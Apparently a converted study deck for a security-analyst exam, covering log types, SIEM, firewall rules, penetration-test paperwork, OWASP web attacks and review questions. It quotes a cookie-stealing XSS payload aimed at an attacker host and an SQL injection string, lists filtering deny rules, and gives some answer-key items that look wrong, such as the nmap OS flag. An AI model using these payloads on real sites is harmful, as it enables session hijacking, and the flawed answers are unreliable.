## Application Logs

- List all events logged by programs – what applications are doing

## Security Software Logs

- Host security alarms - attack details or events like a file being deleted

Windows log files stored at %systemroot%\system32\winevt\logs

**system.evtx | Security.evtx | Application.evtx**

**Tools: Event Log Explorer, Event Reporter, Kiwi Log Viewer, Event Log Analyzer**

# System Log Examples

Type 2: Console logon from local computer

Type 3: Network logon or network mapping (net use/net view)

Type 4: Batch logon, running of scheduler

Type 5: Service logon a service that uses an account

Type 7: Unlock Workstation

Event ID 529: Unknown user name or bad password

Event ID 530: Logon time restriction violation

Event ID 531: Account disabled

Event ID 532: Account expired

Event ID 533: Workstation restriction, the user is not allowed to logon at this computer

# Authentication Logs

- Timestamp – Date and time
- User – User name
- Application – Application being used
- Event – Which action is being taken
- Result – Success or denied
- Access Device – Device type
- Additional Factors – Potentially other things (Something you have, know, are)

# Authentication Log Examples

## Successful username

```
<102> 2012-04-09 15:21:43 4/9/2012 3:21:43 PM NAS_IP=10.17.37.150 Port=0  
rem_addr=Console User=admin Flags=Stop task_id=1 timezone=Etc/GMT+0 service=shell  
priv-lvl=0 Cmd=username Stop_time=Mon Apr 9 09:43:56 2012 Status=Succeeded
```

## Failed Host name or IP address

```
<102> 2012-04-09 14:19:42 4/9/2012 2:19:42 PM NAS_IP=10.17.37.150 Port=0  
rem_addr=Console User=admin Flags=Stop task_id=1 timezone=Etc/GMT+0 service=shell  
priv-lvl=0 Cmd=radius-server Stop_time=Mon Apr 9 08:41:56 2012 Status=%% Error:  
Invalid host name or IP address
```

# Event Logs

- Event or notification
- Aggregation and Correlation help zero in on top events
- Addressing events is about how you prioritize
- Develop practice to ensure critical events are not missed

# Event Category Examples

**7 Info**  
**6 Notice**  
**5 Debug**  
**4 Warning**  
**3 Err**  
**2 Crit**  
**1 Alert**  
**0 Emerg**

## General Information

Event that might require attention

Troubleshooting messages

Potential minor issue

Service malfunction

Critical condition that could be a system failure

Requires immediate attention

Highest priority and must be attended to

Remember 0 is most critical and 7 is least for Cisco

# Simple Network Management Protocol SNMP

- Different Version (V1 is unsecure, V3 recommended)
- SNMP manager pulls SNMP agent info
- Commands include - GetRequest, GetNextRequest, GetBulkRequest, SetRequest, InformRequest, Response

## SNMPv3 adds

- Encryption
- Authentication
- User Accounts

```
*snmp-server group group2 v3 auth read myview
snmp-server group mygroup v3 priv read myview
snmp-server view test iso included
snmp-server view cisco iso included
snmp-server view myview iso included
snmp-server view myview iso.12 excluded
snmp-server community private RW
snmp-server community test view myview RO
snmp-server community public RO
snmp-server community syed123 view syedView RO
snmp-server trap link ietf
snmp-server trap link switchover
no snmp-server sparse-tables
snmp-server queue-length 50
snmp-server contact test
?
```






# SIEM



- Collects multiple logs/ data streams and correlates to cyber security events.
- Modern SIEMs incorporate user anomaly behavior analytics, big data solutions, and security analytics.

## Security "Information" Management verse Security "Event" Management

# Centralized Log Design



# Aggregation and Correlation

- **Aggregation** and **correlation** is consolidating and making sense of large amounts of data
- Need to analyze relationships between events
- Quality of solution is how this can be easily accomplished
- Best to include humans!

# Aggregation and Correlation

- Ping sweep from user 192.168.1.20
- Unusual traffic between user 192.168.1.20 and 192.168.1.30
- Ping sweep from user 192.168.1.30
- Unusual traffic between user 192.168.1.30 and 192.168.1.40
- TFTP session from 192.168.1.40
- Data spike on network 192.168.1.0/24

**Example of attack cycle broken down by events**



# Firewall Logs and Rules



# Reviewing Firewall Logs

- Probes to ports that have no application services running on them
- IP addresses that are rejected or dropped
- Unsuccessful logins
- Suspicious outbound connections
- Source-routed packets

# Logs – Firewall and ACL Reviews

- Raw logs used to examine if packets are permitted to a destination
- Time in logs is extremely important or logs may be useless

```
*May  1 22:12:13.243: %SEC-6-IPACCESSLOGP: list ACL-IPv4-E0/0-IN permitted
  tcp 192.168.1.3(1024) -> 192.168.2.1(22), 1 packet
*May  1 22:17:16.647: %SEC-6-IPACCESSLOGP: list ACL-IPv4-E0/0-IN permitted
  tcp 192.168.1.3(1024) -> 192.168.2.1(22), 9 packets
*May  3 19:05:38.183: %IPV6-6-ACCESSLOGP: list ACL-IPv6-E0/0-IN/10 permitted
  tcp 2001:DB8::3(1027) -> 2001:DB8:1000::1(22), 1 packet
*May  3 19:11:32.619: %IPV6-6-ACCESSLOGP: list ACL-IPv6-E0/0-IN/10 permitted
  tcp 2001:DB8::3(1027) -> 2001:DB8:1000::1(22), 9 packets
```

# Firewall Logs

Firewall rules generally divided into major components

- **NAT Rules** – translating private IP addresses to public IP addresses
- **Access Rules** – allowing access from remote connections to systems passing data thru the firewall

Win-RDP NAT Rules									
<input type="checkbox"/>	<input checked="" type="checkbox"/>		WAN	*	*	66.187.75.171	3389 (MS RDP)	192.168.200.158	3389 (MS RDP)
							RDP traffic from out Outside to WIN-		RDP

# Ingress Filtering

**Ingree Filtering = Inbound** data is monitored or restricted from entering the network (edge devices)

## Common Ingress Filtering

- If UDP destination port=69, DENY [*file transfer; no login necessary*]
- IF ICMP Type = 0 , PASS [*allow incoming echo reply message*]
- DENY ALL

# Ingress Filtering Denies

## Deny known TCP vulnerabilities

- Synflood (TCP SYN=1 and FIN=1)
- FTP (TCP destination port =20)
- NetBIOS (TCP destination port = 135 through 139)
- UNIX rlogin (TCP destination port = 513)
- UNIX rsh launch shell without login (TCP port 514)

## Deny known malicious sources

- private address 10.\*.\*.\*
- 1.2.3.4
- 0.0.0.0, etc

# Egress Filtering

Egress Filtering = **Outbound** data is monitored or restricted, unusually by a firewall that block packets that fail to meet certain security requirements.

## Common Egress Filtering

- Allow – ICMP Type = 8, PASS [*outgoing echo messages*]
- DENY – Protocol=ICMP [*all other outgoing ICMP*]
- DENY – TCP RST=1 [*outgoing resets; used in host scanning*]

# Egress Filtering Denies

## Connections to well known ports

- TCP source port=0 through 49151
- UDP source port=0 through 49151

## Allow Outgoing Client Connections

UDP source port = 49152 ..... 65,536

TCP source port= 49152 ..... 65,536

## Deny known malicious destinations

- private address 10.\*.\*.\*
- Non internal. Example 60.47.\*.\*

# Firewall Access Rules

- Firewall access rules allow traffic to be passed
- Traffic not explicitly designated to pass is normally rejected
- Firewall administrators may consider rejection rules with the goal of creating deny log messages

The screenshot shows a firewall rule configuration for the service 'Plex'. The rule details are as follows:

- Action:** Allow (green checkmark)
- Bandwidth:** 2/1.50 GiB
- Protocol:** IPv4 TCP
- Source IP:** \* (any)
- Source Port:** 192.168.200.158 (MS RDP)
- Destination Port:** 3389 (MS RDP)
- Security Level:** none
- Description:** NAT RDP traffic from out Outside to WIN-RDP
- Icons:** A trash can icon is visible at the top right, and edit/copy icons are at the bottom right.

# Firewall Access Rule Example

Rule for permitting SSH for specific subnets and blocking for another

```
ip access-list extended inb-lan  
    permit tcp 10.0.0.0 0.255.255.255 any eq 22  
    permit tcp 172.16.0.0 0.255.255.255 any eq 22  
    permit tcp host 192.168.1.1 any eq 22  
    deny tcp 9.16.0.0 0.255.255.255 any eq 22
```

# Firewall Log Detecting Beacon

1.3.4.5	80	4.3.2.3	3281	<a href="http://www.malware.com">www.malware.com</a>
1.3.4.5	443	4.3.2.3	73211	www.google.ru
1.3.4.5	443	4.3.2.3	64732	www.something.com
1.3.4.5	80	4.3.2.3	532	www.dang.ru
1.3.4.5	80	4.3.2.3	8232	<a href="http://www.malware.com">www.malware.com</a>
1.3.4.5	443	4.3.2.3	2353	<a href="http://www.malware.com">www.malware.com</a>
1.3.4.5	80	4.3.2.3	532	www.dang.ru
1.3.4.5	8080	4.3.2.3	9342	www.soup.com
1.3.4.5	80	4.3.2.3	0344	www.fbi.gov
1.3.4.5	80	4.3.2.3	532	www.dang.ru

# Filewall Rule Block Beaconing

Action	Source	port	dest	id
Block	1.3.4.5	80	4.3.2.3	532

# Firewall Rule Creation Key Concepts

- **Connections** – Allow, Block or Allow only if through secure connection (IPSEC)
- **Inbound or Outbound**
- **Specific Rule Priority**

Vendors will vary in options.

Trust = ignore


Monitor = Permit but evaluate

Block / Block Rest = Block


Interactive Block = Warn people

Cisco Firepower  
Example

# Network Access Translation NAT



# Application FW Header Removal



Application Firewall Strips Original Headers from Arriving Packets  
Creates New Packet with New Headers  
This Stops All Header-Based Packet Attacks

# Reading Firewall Logs

## Example Firewall Format

Time | Action | Firewall | Interface | Product | Source | Source Port |  
Destination | Service | Protocol | Translation | Rule

### Example: Slammer Hitting Outside Firewall


```
14:53:16 drop gw.thesecurityblogger.com >eth0 product VPN-1 & Firewall-1 src  
xxx.xxx.187.12 s_port 2523 dst xxx.xxx.10.2 service ms-sql-m proto udp rule 49
```

# Example Login and Log out

OperationTime=Thu Jun 13 09:09:00 2002, Operation=Logged in, Administrator=fwadmin, Machine=cp-mgmt-station, ClientType=Policy Editor, Info=connected with user password  
OperationTime=Thu Jun 13 09:09:11 2002, Operation=Logged in, Administrator=fwadmin, Machine=cp-mgmt-station, ClientType=Log Viewer, Info=connected with user password

**Note this is clear text and could be captured by anybody including malicious users**

# Visualize Traffic To Diagram



%ASA-6-302013: Built inbound TCP connection 0 for inside:10.1.1.2/28075 (10.1.1.2/28075) to outside:10.1.2.1/23 (10.1.2.1/23)

%ASA-6-302014: Teardown TCP connection 0 for inside:10.1.1.2/28075 to outside:10.1.2.1/23 duration 0:00:46 bytes 144 TCP FINs



# Vulnerability Discovery



# Compliance

- Legal or Business
- Should be minimal security
- SOC enforces and reports
- Customized dashboards can help!



AIM for going beyond compliance

# Audits

- Testing against policy requirements
- Could be outside party or internal
- Typically graded with recommendations to improve
- Regulation compliance tends to have standardized audit criteria

**Compliance – Security Assessment – Internal Policies – Mandated Regulation**

# Common Standards

- PCI – Payment Cards
- HIPAA - Healthcare
- Gramm-Leach-Bliley Act
- Sarbanes-Oxley Act - Spending

Know when to recommend!



# PCI DSS Approved Algorithms

- Key exchange: Diffie–Hellman key exchange with minimum 2048 bits
- Message Integrity: HMAC-SHA2
- Message Hash: SHA2 256 bits
- Asymmetric encryption: RSA 2048 bits
- Symmetric-key algorithm: AES 128 bits
- Password Hashing: PBKDF2, Scrypt, Bcrypt.

*Know This*


# Assessments

- Audit a network or system(s)
- Various options
  - Audit against compliance
  - Vulnerability assessments (typically software used)
  - Testing incident response to violations (Penetration Test)
- Typically Time and material (TME) or Fixed

# Penetration Testing

- Testing the target in the same manner an attacker would use
- More risk than assessments against systems
- Requires more skill than audits or automated services
- Important to define criteria and scope – Black / White / Grey box

# NIST Penetration Testing Process



# Get Out Of Jail Card -

- Authorization in writing
- Signed by the right person
- State risks
- Assign liability to stakeholder

**Make sure to have this during the planning phase!**

## Letter of Engagement

Cisco Red Team members covered by this letter:



To whom it may concern,

The Cisco Red Team members, listed above, are authorized to perform physical penetration testing, network penetration testing, wireless penetration testing, and social engineering at [redacted] during the dates of [redacted]

To verify permission by the person(s) presenting this letter to perform the testing described above, verify the [redacted] and compare with the [redacted] If you have any further questions or concerns, please contact one of the following approvers

Name	[redacted]	Title	Mobile Phone	Office Phone
[redacted]	[redacted]	[redacted]	[redacted]	[redacted]

This testing is NOT to be discussed or shared with employees not listed in this document due to the sensitive nature of the work.

Thank you for your cooperation,

# Assessment vs. Penetration Test

- **Assessment** – Using automated systems to identify potential vulnerabilities
- **Penetration Test** – Executing attacks against identified vulnerabilities

**Assessment is good to see your weaknesses**

**Penetration Testing is good if you know you are secure**

# Penetration Testing Statement of Work

- **Time** – What is the testing time (start and end dates)
- **Assumptions** – Need to be clear what was provided pre-assessment
- **Scope** – What you are looking to achieve from the service
- **Associated Risks** – Define any sensitive systems or systems that if altered could put the organization at risk
- **Authorization** – Proper data owner authorization

Know what is important for a SOW!

# Penetration Testing Report

- Target Audience – Who will read it
- Report Classification – Could contain sensitive information
- All information collected – Need to list everything (notes, screenshots, etc.)
- Summary of findings
- Summary of recommendation

Know what is needed in a report!

# Penetration Testing Report - Details

- **Vulnerabilities** – What you found
- **Impact** – Potential damage
- **Likelihood** – How hard to execute
- **Risk evaluation** – Impact to business
- **Recommendation** – Remediation steps
- **References** – Who worked on what
- **Additional details** – Appendices, Glossary, Tools used, etc.


# Certification

- Formal approved program or privately developed content for evaluating skills required for assessment
- Sometimes certification is required
- Certain certifications are more respected than others
- Achieving certification – Tests, Classes, Field Experience

**Certifications sometimes = false capabilities**

# War Games / Table Top Exercise

- Red Team – Attackers
- Blue Team – Defenders
- Timed and Scored event



# Verifications and Quality Control

- Validate quality of Policies, Controls, and Procedures
- Check against mandated and critical changes to regulation compliance and internal policies
- May require outside services to identify unknown issues
- Could be triggered due to poor incident response



# Web Applications



# Application Risks

- Application for product may be insecure
- Software may be out of date (java / flash)
- Default passwords used
- Insecure protocols used
- Lack of encryption
- Poor data handling



# OWASP Top 10

- Easy to get to, poor security and most vulnerable!
- OWASP – Great resource for news and standards

- Cross Site Scripting (XSS)
- Injection Flaws
- Malicious File Execution
- Insecure Direct Object Reference
- Cross Site Request Forgery

- Information Leakage and Improper Error Handling
- Broken Authentication and Session Management
- Insecure Cryptographic Storage
- Insecure Communications
- Failure to Restrict URL Access

# Web App Vulnerability Scanning

Automated scanning web applications for vulnerabilities

- Cross-site scripting
- SQL Injection
- Command Injection
- Path Traversal
- Insecure server configuration

# Injection / XXS / Object References


- Abusing systems that don't validate user-supplied data or supplied weblinks
- SQL, LDAP injection, etc.
- Injecting weird stuff or editing weblinks (/admin)

`http://example.com/index.php?user=<script>alert(123)</script>`



# Example: Sony

- Leaked tons of data including SSNs, accounts, etc.
- XXS was one of the attacks
- <https://www.riskbasedsecurity.com/2014/12/a-breakdown-and-analysis-of-the-december-2014-sony-hack/>



<http://thehackernews.com/2011/05/xss-vulnerability-found-on-sony.html>

# Reading Injection

## SQL Injection – Exploitation of a web app vulnerability

- **Scenario:** Application uses untrusted data in the construction of the following **vulnerable** SQL call:
  - String query = "SELECT \* FROM accounts WHERE custID='"+  
request.getParameter("id") + "'";
- Attacker modifies the 'id' parameter value in her browser to send: ' or '1'='1. For example:
  - <http://example.com/app/accountView?id=' or '1'='1>

# Reading XSS

## Cross-site scripting (XSS) – Injection, where malicious scripts are inserted into websites

- The application uses untrusted data in the HTML snippet without validation or escaping:
  - `(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";`
- The attacker modifies the 'CC' parameter in their browser. This causes the victim's session ID to be sent to the attacker's website, allowing the attacker to hijack the user's current session
  - `'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'.`

# SQL vs. XSS

- SQL injection inserts SQL meta-character into web-based inputs to modify execution of backend SQL EX) lots of : and ; in a post
- XSS embeds script tags into URL and deceives user to click. EX) Post in a website forum that attacks people that visit it
- SQL injection starts with injection SQL field values in the form of regular expressions
- XSS starts with a simple HTML tag in the form of regular expression

SQL – Think characters or 1=1 | XSS think HTML scripts

# Broken Authentication and Session

- Attacker hijacks the identity of another user
- Vulnerability exists if all parts of the authentication session are not encrypted
- Users do not log out and re-authentication is not required

<http://example.com/sale/saleitems?sessionid=268544541&dest=Hawaii>

# Denial of Service

## Interrupting service

- Consuming available resources
- Disrupting networking
- Crashing systems

**DDoS vs DoS – Distributed vs specific target**

**Volume or protocol base attacks**

# Slowloris

# DoS Log Examples

Logs will show a lot of dropped or blocked statements

```
Administrator:D:\windows\system32\cmd.exe
TCP 10.114.248.74:80 216.36.50.65:60973 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60974 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60975 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60976 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60977 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60978 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60979 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60980 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60981 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60983 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60984 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60985 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60986 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60987 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60988 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60989 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60990 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60992 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60993 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60994 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60995 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60996 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60997 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60998 TIME_WAIT
TCP 10.114.248.74:80 216.36.50.65:60999 TIME_WAIT
69.225.3.66 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.8.1; http://184.154.125.107"
169.28.157.92 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.9.4; http://www.ftforms.com"
67.214.189.122 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.3.2; http://www.thequestionandtreasure.com"
98.104.204.202 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.9.1; http://perfectconnectiongolfawing.com"
152.160.232.232 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.3.1; http://www.scp37.com"
62.249.13.67 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.9.2; http://www.zappeteatju.com"
140.234.25.9 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.9.2; http://www.medicltdau01.net"
192.160.232.232 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.3.1; http://www.scp37.com"
74.50.129.69 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.9.1; http://pdfobchen.com"
109.154.251.139 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.8.3; http://www.advedicedseobilityprojekt.org"
67.231.291.234 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.9.1; http://skonente.de"
49.212.280.156 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.5.1; http://nfl.full-noms.com"
178.18.31.285 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.5.1; http://www.stichtelteberink.nl"
213.159.5.122 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.5.1; http://213.159.5.122"
205.237.6.146 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.6.1; http://www.edithubens.com"
140.233.77.1 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.8; http://www.lizgrape.com"
184.154.213.178 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.5.2; http://pickapioneer.com.au"
207.50.58.94 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.5.2; http://www.nzmedlansurveys.co.nz"
203.199.209.132 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.7.1; http://kumapeo.com"
99.65.18.72 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.3.1; http://fansofhungarianames.com"
209.148.86.102 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.3.2; http://eeasyhosting.com"
205.217.6.146 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.6.1; http://www.mithobobs.com"
184.168.200.288 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.8.3; http://www.kappotters.com"
24.59.124.69 - - [14/May/2014:17:27:54 -0400] "GET / HTTP/1.0" 200 384 "-" "WordPress/3.5.1; http://adfeather.com"
```

# Memory Overflow

**Too much data can cause problems**

- Switches to become hubs
- Access control to fail open
- Memory errors
- DoS

## Remediation

- Patch the application
- Restart the services
- Restart the system

# Memory Overflow Prevention

- Fail closed when possible
- High Availability
- Throttling
- Segmentation / Routing
- Patching / updates

Validate overflow prevention with vendor!

# Secure Communication

- Secure Sockets Layer (SSL) and Transport Layer Security (TLS) make the (S) in HTTPS commutation.
- **SSL is considered no longer secure (2.0,3.0, etc)**
- **TLS 1.2 is considered secure while older TLS is also considered not secure.**
- Any questions should always refer to the latest TLS as best practice
- Web scanners will flag this as a vulnerability and there is exploitable attacks available for older versions.

# Common Attacks

**Buffer Overflow** - Attacker places more data in a memory location than allocated for use

**Privilege Escalation** – Attacker increases the level of access has to a target system

**SQL Injection** – Exploitation of a web app vulnerability

**Cross-site scripting (XSS)** – Injection, where malicious scripts are inserted into websites

**Denial of Services (DoS/DDoS)** – Disrupting services

# Threat Containment Techniques

- **Segmentation** – Separate sensitive systems from regular users
- **Isolation** – Place risk or extremely important systems on a separate network (Example: Guest network)
- **Removal** – Automated or manual reaction to an identified threat



# Concept Review



# Concept Review

- Which attack is this ----- Joey or 1=1?

SQL Injection

- Which types of traffic would you see if you believed you were looking at a mail server?

25, SMTP, POP, and web traffic

- Which CVS score is the highest priority?

Calculate equations

# Concept Review

- You see the ports 22/TCP and 443/TCP are open. What's open?  
SSH and HTTPS
- **CVSS3#AV:N/AC:M/Au:S/C:P/I:H/A:N** What is the attack vector and integrity base? System / High, Browser / Low, Network/ High, Network, Low?  
Network / High
- Provide an example of a Integrity Loss  
Information being changes or deleted

# Concept Review

- What is the difference between credential and non credential scan?

Slides 96 and 97

- What is important for a pen test report?

Slide 167

- How about a pen test SOW?

Slide 166

# Concept Review

- Log shows proxy is dropping a call out. What could this be
  - Botnet or Malicious Source
- What if a system is talking over a unusual port and likely infected ... but nothing is triggering. what is that called?
  - Day Zero
- You see a new system that doesn't seem malicious but is unknown, what do you do?

Do not launch an investigation! Same for any system that is not being patched with other systems. First monitor and potentially segment

# Concept Review

- Joey notices his web server has code that redirects people to a malicious source. What did the attacker use against this server? **XXS**
- Joey decided to move guests to a separate network due to risk. What tactic was used? (isolation, segmentation, separate networks, threat reduction) **Segementation**
- What is the differences between a false positive and false negative? **Good is called bad vs Bad called good. Slide 56**

# Concept Review

- Which port would not be wise to open for a jumpbox?  
(22,23,443,3389)?

23 = Telnet

- What is passive scanning?

Research without actively engaging with the system (reading social media)

- System can't be patched, what can you do?

Secure around it - Network

# Concept Review

- When compromised, which system would you fix first? 1) Admin laptop 2) server 3) NTP system or 4) DMZ server?

NTP – Time is critical!

- What is the difference between ingress and egress filtering?

Ingress = **Inbound** data is monitored or restricted from entering the network (edge devices)

Egress = **Outbound** data is monitored or restricted, unusually by a firewall that block packets that fail to meet certain security requirements.

# Concept Review

- What flag does NMAP use for identifying operating systems? What about Applications?

-o / -A

- Which Cisco log level is the most critical (0,1,7,20)?

0

- Which Windows log would most likely have info about files being deleted?  
(Security Logs, System Logs, Configuration Logs, History Logs)

Security Logs

- Which process uses TCP stack response, TCP options support and window initial sizing?  
(OS Detection, Fuzzing, Application Scanning, Service identification)

Application Scanning

# Concept Review

- The vulnerability management solution is about to perform a credentialed scan of devices on the network. What type of account should be used? (Domain admin, Local Admin, read-only, Root) **Read-Only**
- CVSS metric represents the potential for total compromise? (N, A, P, C)? **C = Complete**
- The admin notices a message posted that attacks users that visit the site. What type of attack is this? (SQL Inject, Cross-site Scripting, LDAP injection, Malware) **Cross-site scripting**

# Concept Review

- Which is a active monitoring tactic? (Netflow, SNMP, Pinging systems, Monitoring protocols) **Pinging Systems**
- Which features come with SNMPv3? (Administration, Encryption, MIB support, flow monitoring, authentication, user account, integrity) **Encryption, User accounts and Authentication**
- Joey notices there isn't a plan to return computers back to operational state post compromise. What is missing? (physical detective control, administrative corrective control, corrective compensating control, technical corrective control) **Admin, corrective control**

# Concept Review

- What are two principles used for calculating risk? (Attack vector, likelihood, CVSS, impact)?

Likelihood / Impact

- What is it called to probe a firewall for rules?

Fire walking

- What does PII and PHI stand for?

Personal Identifiable Information / Personal Health Information

- You found 4 different compromises. Which should you deal with FIRST? (Stolen Certificate, DDoS against server, Buffer Overflow that gives executable code, Website vulnerability)

Buffer Overflow

# Concept Review

- A bunch of bad stuff happened. Which of the following would make escalate this incident the most? (PII and customer data stolen, root passwords were compromised, network was taken down, known malware identified within network) **PII data**
- During a penetration test, which of the following would define what is ok to attack? (Attack document, rules of engagement, pentest report, work agreement) **Rules of engagement**
- Which of the following two items would be found in a pen test SOW? (vulnerability data, asset list, time of scan, network configuration, hosts not included) **Time of scan, host not included**

# Concept Review

- Which protocols are PCI DSS approved? (TLS/SSL, PKI, AES, RSA, SHA1, SSL2.0, SHA2)  
AES, SHA2, RSA
- Which are PKI X.508 compliant? DES, AES, IDEA, 3DES, CAST

<https://www.entrust.com/about-us/certifications-standards/standards-pki-standards-compliance-summary/>

- What if you use netstat and see nc is running. What does this represent?

Potential rootkit phoning out of the network using netcat